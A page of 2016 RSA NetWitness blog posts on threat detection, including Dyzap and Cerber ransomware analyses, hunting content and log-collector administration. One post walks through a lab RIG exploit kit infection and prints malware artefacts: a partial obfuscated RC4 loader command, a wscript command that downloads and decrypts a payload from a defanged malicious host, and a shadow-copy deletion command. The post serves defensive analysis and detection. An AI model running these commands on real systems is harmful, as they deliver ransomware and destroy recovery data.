Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2016 > November

Every week RSA FirstWatch collects hundereds of indicators of compromise from running different kinds of malware samples. They are used to update the following feeds on Live:

  • RSA FirstWatch Command and Control Domains
  • RSA FirstWatch Command and Control IPs


Those binaries are often referred to as commodity malware. They are not tied to an actor or a targeted campaign. Thus our team doesn’t use any specific meta values to tag them. In this blog post we will discuss how to find those IOCs using RSA NetWitness.

Let’s take Sality for example, a malware family that has been around for a very long time. Below is a screenshot that shows a Sality sample beaconing to its Command and Control server:


Recently we blogged about Dyzap malware and how to detect it using RSA NetWitness. This is how Dyzap beaconing activity looks:



In both cases the IOCs were added to the same FirstWatch feed(s) on Live. You can use the following meta keys and values in your app rules and reports:

  • threat.source = 'rsa-firstwatch'
  • threat.category = 'botnet'
  • threat.desc = 'c2-domain' or threat.desc = 'c2-ip'

If you haven't yet deployed the content behind the new Hunting Pack and Investigation Model, go here first and follow the steps:

The new Investigation Model provides a fantastic way to organise the indicators and metadata produced by NetWitness into a way for analysts to easily interact with their data. The four Investigation Categories - Threats, Assurance, Operations, & Identity - provide the basis for defining Investigation Context for indicators.


The Hunting Guide and its associated Hunting Pack provides new Analysis meta keys that allow Threat Hunters with an operational workflow based on Session Analysis, Service Analysis, and File Analysis. It also introduces new Compromise meta keys for organising indicators into Indicators of Compromise, Behaviors of Compromise, and Enablers of Compromise. These new meta keys should be added to your favourite metagroups for Investigations. They can also be used for Charts and Dashboards.


The attached zip file contains Rules and Charts that can be used to build Hunting and Investigation Dashboards. Simply import the zip file into the Charts section of the Report Engine, enable each chart and make sure it is pointing at  the right Data Source (your Concentrator or Broker), then create some dashboards. Here's a suggestion:


Investigation Dashboard that uses the Investigation Category and Investigation Context meta keys:


Hunting Analysis Dashboard that uses the File Analysis, Service Analysis and Session Analysis meta keys:


And Hunting Compromise Dashboard that uses the Indicators of Compromise, Enablers of Compromise and Behaviors of Compromise meta keys:


Happy Hunting!

If you happen to have F5 LTM providing balancing or HA in front of your VLC for syslog messages then you may have enabled a monitor on the LTM to check for the VLC syslog service being reachable. 

To do that you might have followed this guide to enable a UDP monitor that also requires an ICMP check to verify if the UDP 514 port is reachable.

Notice the default string in this example is "default send string"

UDP Monitor Default LTM

These health checks are not valid syslog messages and have no priority flag set (and are 0 payload length).  At volume these messages cause problems with RabbitMq and should be dropped at the VLC to prevent as much of the noise getting to the decoders as possible,

To filter the messages you can use the Filter option available on the VLC under the syslog collection and implement it for both UDP and TCP syslog.

On the log decoders you can grep /var/log/messages to find these 0 length messages and the VLC that they came from to filter.



If you run tcpdump on the VLC looking for UDP or TCP messages from the 0 length sources you might see this (if the Monitor is configured with defaults).  Notice the default.send.string value which correlates to the default F5 LTM config.




Now we need to define a filter for syslog to filter these messages from the syslog pipeline

VLC > Config > Event Sources > Syslog > Filter

Define a new Filter and then define a new rule

we will use the raw key as the 0 length messages don't have proper formatted message to extract the source IP from (lc.srcid)

Now add or update the syslog collection with the filter

If you want to view stats on the drops performed by the filter you can switch to the explore view of the VLC

VLC > Explore >

logcollection > syslog > stats > eventsources


the total_filtered_events count will increase when filtered items are found (this counter is reset when the service is restarted)

If you want to see the debug logging values of what the VLC parses from the messages you can enable debug and event_filter_debug from the explore menu.  For my testing (temporary) i enabled debug and set the event_filter_debug to 15

that drops debug messages into the VLC > Logs section under [DEBUG] and will show you this information about the match or no match values




20161122T162858^P^@^@^@SyslogCollection~Q^@^@^@[syslog-udp.udp514] [processing] [Receiver WorkUnit] [processing] Unidentified content from received on receiver: 'default send string'~A^A^@^@^A^@^@^@^O^@^@^@20161122T162858^Z^@^@^@SyslogCollection(TraceLog)H^A^@^@[syslog-udp.udp514] [processing] [Receiver WorkUnit] [processing] Content received on receiver does not conform to Syslog standards. Valid Syslog format is "<PRI> MESSAGE".                                   Probably raw syslog message is not starting with "<"PRIVAL">" field: 'default send string'. Please rectify the issue at syslog event source.~T^B^@^@^A^@^@^@^O^@^@^@20161122T162858^Z^@^@^@SyslogCollection(TraceLog)[^B^@^@[syslog-udp.udp514] [processing] [Receiver WorkUnit] [processing]  [EventFilter-Accept] syslog.NOFILTER (not filtering-test hits) 1479831814567

    Rule: "no match ident only"

    #1  [raw]  [Contains]  [(ignoreCase)default send string]


        Matched=default send string




"lc.lpid" : "syslog.syslog-udp"

"lc.cid" : "vlcid"

"lc.msgtype" : "0"

"lc.ctype" : "syslog"

"lc.wuid" : "17562157925649023279"

"lc.esname" : "udp514"

"lc.estype" : "syslog-udp"

"lc.wusn" : "93719"


    raw_message: default send string


Using this debug message you can determine what values are extracted by the VLC to make activities/filters more accurate.  In this case the lc.srcid value has no IP address so we are unable to drop based on that value, requiring the RAW value to be used.

Building on the excellent work in Security Analytics Log Parser I had a minor irritation in that the query time was not particulary useful if you had a lot of concentrators.


A typical log message would look like:


Nov 20 07:08:46 mybroker NwBroker[3306]: [SDK-Query] [audit] User admin (session 3421280, has finished query (channel 3424049, queued 00:00:00, execute 00:20:01, id1=5729990302 id2=19760696376362 threshold=0 query="select time, ip.src, ip.dst, tcp.srcport, tcp.dstport, service,, directory, filename, query, referer, sessionid where (time='2016-Sep-01 00:00:00'-'2016-Nov-19 06:47:11') && ((( contains '' || contains '' )))"


Unfortunately the part in red got put into the query.time meta key so it was not particularly useful.


I wrote a LUA parser to extract the data from Query.time so that the time the query took was put into an Integer metakey called execute.time.


Here is the LUA parser. Perhaps it will be useful for someone...


With this parser you can create reports that show your longest running queries, and who ran them.




I've updated the parser so that it has the following features:

  • Able to parse all concentrator times even if the length of querytime exceeds 256 characters, so no statistics are lost
  • Added a key to store the slowest concentrator for each query so you can identify if one particular concentrator is always the slowest. We only consider query times greater than 5 seconds for this feature.

*** Warning the sites referenced contain live exploit kits and malware. As always please exercise proper caution when working with live malware. ***


Ransomware has elevated itself into a clear and present threat that organizations faced in 2016.  Unfortunately, this threat is likely to continue into 2017 and beyond.  As businesses and vendors work at combating these and other threats, it is important to understand what is happening on both the network and endpoints so that we can all properly recognize and respond when such an incident occurs.  This post is an attempt to reveal what incident responders may see in the course of defending the business.  It intends to show what a single drive-by attack may look like from both the network and host points of view.


First, the architecture.  This is a lab environment running RSA Netwitness Suite 10.6.1.  A Packet Decoder is monitoring the internet ingress and egress points from a mirror port on a managed switch.  This is mainly outbound client activity.   The Event Stream Analytics (ESA) appliance is also available.  There is no web proxy in this environment.  The workstation that gets compromised is a Windows 7 VM running IE 8 and Flash 14. These are obviously old versions but useful for exploitation.  The RSA Netwitness Endpoint (ECAT) agent is installed and set to Full User-Mode Monitoring.



Next, we need some malicious code.  For that, I looked at the fantastic malware and packet captures at Malware-Traffic-Analysis.Net.  There is some amazing work being done here and is an excellent reference point to compare what was observed in network traffic as well as what happens on the host.  Specifically, I was looking at this:


2016-11-21 - RIG EK DATA Dump (


Rather than uploading a PCAP or infecting the host with the malware sample, I had the system visit the same compromised website as referenced in the post.



In a few moments, I can see the ransom note appear on my victim PC's desktop.



As if that wasn't enough, the malware was kind of enough to change my desktop to include the ransom note as well.


This is all well and good, and you would certainly be aware you have a problem, but what was captured on the wire and on the host.  Let's start with the network traffic.



The first thing we see is an HTTP GET to the compromised site.  



We can see it is likely a Wordpress site and that it had gzip content encoding.  If we scroll a little further down in the session, we can see a suspicious looking iframe that appears to have been injected into the page.



 In , we can see the DNS lookup and HTTP GET to 'red[.]mobilaile[.]com', which hosts malicious content.  If we look closer at the 'rxbytes' meta, we can see that the victim PC received 56,810 bytes of data.  When we have a closer look at that session, we can see the delivery of a suspicious script...


and then a suspicious Adobe Flash file.


This winds up being the exploit payload to compromise the host.  The content type of "application/x-shockwave-flash" may be something we could use in the future.


Once exploited, this brings us to   in this attack which is the delivery of the threat actor's payload.  Also notice the 'rxbytes' of 254,598 bytes.



Also important is the content-type of "application/x-msdownload".  You will notice that there doesn't appear to be an MZ file header in this session.  That is because this malicious binary is using RC4 encryption and will be decrypted on the host just in time to do it's real purpose.


Lastly, we see several UDP attempts to some IP ranges on port 6892.


This essentially concludes the network activity of this malicious code.  Lets look at what happened on the endpoint itself.



First, we see the Internet Explorer process (iexplore.exe) create a process for cmd.exe.  The Target Command Line shows us it is executing an 'echo' followed by what looks to be a loop.



CMD command
cmd.exe /q /c cd /d "%tmp%" && echo function O(n,g){for(var c=0,s=String,d,D="pu"+"sh",b=[],i=[],r=(/**/255),a=0;r+1^>a;a++)b[a]=a;for(a=0;r+1^>a;a++)c=c+b[a]+g[v](a%g.length)^&r,d=b[a],b[a]=b[c],b[c]=d;for(var e=c=a=0,S="fromC"+"harCode";e^<n.length;e++)a=a+1^&r,c=c+b[a]^&r,d=b[a],b[a]=b[c],b[c]=d,i[D](s[S](n[v](e)^^b[b[a]+b[c]^&r]));return i[u(15)](u(11))};function H(g){var T=u(0),d=W(T+"."+T+u(1));d./**/setProxy(n);,g(1),n);d.Option(0)=g(2);d["\x53en\x64"];if(200==d.status)return…



Next, we see the Windows Scripting Host (wscript.exe) writing to an executable named 'rad9612F.tmp.exe' as it was executing a script.  Furthermore, it was retrieving the file from 'red[.]mobilaile[.]com' which we saw in the network section step 3.  The file was RC4 encrypted.  The script below uses the key "gexywoaxorto decrypt the file on the host.


wscript command
wscript  //B //E:JScript MXj6sFosp "gexywoaxor" "hXXp://red[.]mobilaile[.]com/?q=w3jQMvXcJxbQFYbGMvvDSKNbNkzWHViPxo-G9MildZuqZGX_k7DDfF-qoV3cCgWR&sourceid=msie&aqs=msie.103j68.406n6u8&oq=xfotJbpWbAXj2UKGewJind9cBF5A8KCu3EjdmhGbhZ-Fq0SEaQpD96KWELALhR32&es_sm=116&ie=UTF-8" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"


Next, we see cmd.exe creating the 'rad9612F.tmp.exe' process.  As it is doing this, the 'rad9612F.tmp.exe' process also writes to 'System.dll'.  This file is located at "C:\Users\analyst\AppData\Local\Temp\nslC925.tmp\" on the endpoint.



This could be something of interest and we can ask RSA Netwitness Endpoint (ECAT) to retrieve that file for us so that we can conduct additional analysis.  We could even blacklist the file hash and then identify any other system that might have it.



In step 4, we can see that wscript is run again, this time creating the file 'rad29123.tmp.exe' and placing it in the "C:\Users\analyst\AppData\Local\Temp\" directory.



Step 5 is crucial as now the "rad29123.tmp.exe' module is calling cmd.exe to execute the Windows Management Instrumentation Command-line (wmic).  It does this so that it can run 'wmic.exe  shadowcopy delete'. This would delete any volume shadow copies on the host to prevent the victim from being able to restore files.



At this point, the system is compromised and data is lost.  Step 6 shows the calling of the mshta.exe process to launch the ransomware note and step 7 shows the processes being stopped with the taskkill command.  Eventually, rad9612F.tmp.exe' deletes itself.


There were several Instant Indicators of Compromise (IIOC's) that were part of this and could be useful for future investigations.


One thing about ransomware is that it is noisy.  There isn't much that is stealthy about it.  It wants you to know you have been compromised so that you would pay the ransom to get the decryption tool and recover your data.  This activity can be detected with network and endpoint indicators.  ESA can also help as we can string some different network indicators together across multiple sessions.



One custom ESA rule to help detect possible flash exploitation is as follows:



module Module_flashdown_20161109093400;


/* Statement: find_flash */
(isOneOfIgnoreCase(content,{ 'application/x-shockwave-flash' }))
/* Statement: find_download */
(isOneOfIgnoreCase(content,{ 'application/x-msdownload' }))

).win:time(15 seconds)
MEASURES E1 as e1_data , E2 as e2_data
E1 as (isOneOfIgnoreCase(E1.content,{ 'application/x-shockwave-flash' })),
E2 as (isOneOfIgnoreCase(E2.content,{ 'application/x-msdownload' }))


This rule looks for content-type 'application/x-shockwave-flash' followed by content-type 'application/x-msdownload' within 15 seconds for the same source IP.  If your environment is capturing in front of a web proxy, you may be able to partition by 'orig_ip', which would be the originating IP address provided there is an x-forwarded-for header.  If there is no x-forwarded-for header available to you, contact your network and/or proxy administrators.  Just make sure the header gets removed before it leaves the perimeter firewalls.  This type of information is incredibly valuable to analysts.


This rule did require a change to how the 'content' meta key is recognized by ESA.  Normally, 'content' is listed as a string.  This means, it would only have one single value per session.  However, there could be multiple content-types in a particular network session.  Therefore, I needed to change this from a string to an array.  Doing so was relatively easy.  I simply added the 'content' meta key as an array and restarted the ESA service.



To restart the ESA service, ssh to the appliance and issue 'service rsa-esa restart'  Once restarted, 'content' was listed as an array.


Thats all for now.  Good luck out there and happy hunting.

Dyzap is an information stealer that has been around for a while. The malware has the ability to steal usernames and passwords of e-mail, banking and social media accounts. A new variant has been recently spreading through phishing messages. In this blog post we will discuss how to detect it using RSA NetWitness.


Once the malware infects a victim machine, it starts sending data to its server via an HTTP POST request:


Similar network activity originates from different machines infected with Dyzap:


The same user-agent string is used across all the sessions. On RSA NetWitness you can develop an app rule to detect Dyzap traffic:

            service = 80 && client = 'mozilla/4.08 (charon; inferno)'


While malware authors can change a user-agent string from one variant to another, Dyzap network activity is suspicious enough for an analyst to take a closer look.  All the sessions above have binary payloads, have no referrers and consist only of HTTP POST methods. Such anomalies can be easily detected with the RSA IR hunting pack. For more information on the hunting pack, please refer to this document.


An example of a document that drops this Dyzap variant can be found here. Analysis results of one of those binaries can be found here.


Microsoft has more information on its threat encyclopedia website.


All the IOCs from those sessions were added to the following feeds on Live:

  • RSA FirstWatch Command and Control Domains
  • RSA FirstWatch Command and Control IPs
Michael Sconzo

Content Update

Posted by Michael Sconzo Employee Nov 17, 2016

This is a pretty exciting content update! We've got some new stuff and some updated stuff.


First the updated:

  • Based on continued FirstWatch tracking of Cerber ransomware we've added some additional checks to both the Cerber App Rule, and the Cerber ESA rule. 


Now the new:

  • In my last post you saw that we released this Investigations Feed, our newest feed release is the companion Hunting Feed. This allows you more views into the types of features that network traffic and logs can generate to enable easier hunting.
  • We are also super excited to announce the available of the Hunting Pack! This content will work in 10.3 or greater (it requires Lua), and stay tuned to get it in bundle format with the release of 10.6.2. In addition the Hunting Guide is also available. Be sure to check out the Removal Guide if you're running the legacy IR content.


As always let us know what you think of the new content (and updates).

Still got Windows Legacy collectors kicking around collecting logs ? 

Moving gradually to less systems being collected from that service and moving to WinRM and other windows log collections ? 

How do you remove entries in bulk from the windows legacy collector ?


  1. Once you are logged into RSA NW locate the Windows Legacy collector > Config > Event Sources > <DomainToRemoveFrom>
  2. Select the "all" checkbox to capture all hosts and click Export Source so you have a backup of the configuration before continuing.

  1. Determine the  list of the Hosts to remove from the configuration on that WLC and that Domain.
  2. There are a number of ways to perform bulk operations from the command line but today let's use the curl method.
  3. The basic method of using Curl (to test) is to modify the following line to suit your environment to test the login method and port connectivity
    1. curl -v -k -u <USERNAME>:<PASSWORD> "http://<WLCSERVERIP/WLCDOMAINNAME>:50101/logcollection/windowslegacy/eventsources/windows/<DOMAIN>?msg=ls&force-content-type=text/plain&expiry=600"
    2. This will print the output of the hosts for the DOMAIN entry on that WLC to verify that you have the right username/permissions and domain to perform the delete later on
  4. If that tests out good now you can create a shell script with one entry for each host you want to delete from the domain and WLC.
    1. curl -v -k -u <USERNAME>:<PASSWORD>"http://<WLCSERVERIP/WLCDOMAINNAME>:50101/logcollection/windowslegacy/eventsources/windows/<DOMAIN>?msg=delete&force-content-type=text/plain&expiry=600&name=<EVENTSOURCENAMETODELETE>
  5. You can use excel to create a template for the delete structure and concat columns togther to create the output (one per line).
  6. Save the output as a .sh (shell script)
  7. Move to a linux box / SA/ NW appliance to run
  8. Make executable and run
  9. Output will be 200 Ok for successful deletion (< HTTP/1.1 200 OK)


During the end of October 2016, we have had the pleasure of witnessing yet another step in the evolution of Cerber as version 4.1.0 appeared in the wild. And while the ‘soupe de jour’ shares many similarities with past versions (much of which we detailed in our initial Cerber post[1]), there are enough differences here to warrant a brief breakdown of Cerber4. To conduct this analysis and consequently this discussion, we began with the reverse engineering and detonation of 68 Cerber4 hashes, each submitted to VirusTotal on October 30th and 31st.


In the Cerber 4.1.0 samples examined, the main payload is a typical installer that deletes itself after setting up the ransomware. Upon execution, the ransomware encrypts target files and tags them with a new 4-char extension (e.g., ‘.a8dd’, ‘.9ca1’, etc.). This is definitely a departure from the namesake ‘.cerber’ encrypted file extensions and sadly thwarts many basic detection capabilities.   Post encryption the executable also places a single README.HTA file in each affected folder; this is another change from past flavors of Cerber that have historically dropped three files to “help the user”. In any case, this HTML application displays instructions (accompanied by SpVoice Speak) for how to unlock encrypted files by paying a ransom.


Cerber4 welcome screen


On the network side of things, we observed DNS and then callouts to ‘btc[.]blockr[.]io’ as well as a slew of payment sites, which all appear to match patterns of key[.]6-char DGA[.]TLD, which remains consistent with the findings of our September Cerber post. Each of these payment sites is registered to Eranet International Limited (naturally), and they all appear to backend into cerberhhyed5frqa[.]6-char DGA[.]bid domains and dedicated malware servers. Like its predecessors v4.1.0 also lacks formal Command and Control (C2); instead we observed the expected UDP spray on port 6892 out to This recognized netblock has been attributed to recent EITest RIG Exploit Kit (EK) banking[2] and now to Cerber campaigns. The Maltego graph below depicts an initial breakdown of Cerber4 infrastructure and related domains (as of Nov 1st, 2016).


cerber4 network

Upon closer evaluation of the Cerber infrastructure, our observations immediately correlated with the current pseudo-darkleech-RIGv-Cerber4.1.0-1 campaign. This probable attribution is based on continued infrastructure reuse (e.g., EITest gate), current open source intelligence[3][4], and overall cohesiveness with past tactics, techniques, and procedures (TTPs).


In addition to Cerber payload, we also noted some secondary activity with callbacks out to Akamai infrastructure (possibly leveraging Akamai GHost). We believe this is consistent with the growing trend for ransomware to be deployed along with more mainstream crimeware (adware, spyware, RATs, etc.), which aims to establish a secondary revenue stream (e.g., malvertising). A snapshot of our graphing for relevant IPv4 addresses and domains from these callbacks can be found below. (Note: FirstWatch is continuing its assessment of this and related trends from other campaigns as part of concurrent EK-specific effort).


cerber4 akamai


Current NetWitness and ESA detection rules still correctly identify Cerber and have been adjusted to include detection of v4.1.0 and v4.1.1. Specifically, new keys were added to the existing App Rule that detects Cerber pay-sites that correlate to embedded configuration files for the malware’s set up of bitcoin wallets for each victim.  This rule matches when the '' (packet) or 'fqdn' (web logs) begins with one of the identified hostname patterns.  Additionally, we also added 'btc[.]blockr[.]io' to the first stage of the existing Cerber ESA rule that identifies outbound DNS (i.e., whitelisted) directly followed by a C2-ish UDP spray on port 6892.  


As with any of our efforts, all observed indicators of compromise (IOCs) have been disseminated via the FirstWatch Exploit Domains and FirstWatch Exploit IP feeds as of today, Nov 4th, 2016.  Hits on these feeds will tag corresponding meta data with threat.desc = "cerber4" (for cerber4 specific domains and IPs) or "EITest" for infrastructure leveraged during the corresponding Cerber4 campaign.   


Big thanks to Ray, Rotem, Christopher Elisan, and Angela Stranahan for their support on this effort.








Michael Sconzo

Content Update

Posted by Michael Sconzo Employee Nov 4, 2016

We continue to be hard at work building out our fundamentals and delivering new content to help you detect new threats. This round we have some pretty exciting updates.


  • SchoolBell malware detection. SchoolBell was discovered by FirstWatch while looking into ShellCrew infrastructure. Stay tuned for for more information from FirstWatch, but enable the detection now.
  • We are also staying up-to-date on Cerber Ransomware as it continues to be a threat. We've updated the ESA rule to reflect a new behavior we picked up. In addition expect another blog post and updated threat information from FirstWatch.
  • Last but certainly not least, we're releasing the Investigation Feed (available in Live today)! Check out the doc for more information, screen shots, and how to be successful with the content. The goal of this feed is to help categorize content for easy reporting and investigations. This is an ongoing effort so be aware of constant updates.

Filter Blog

By date: By tag: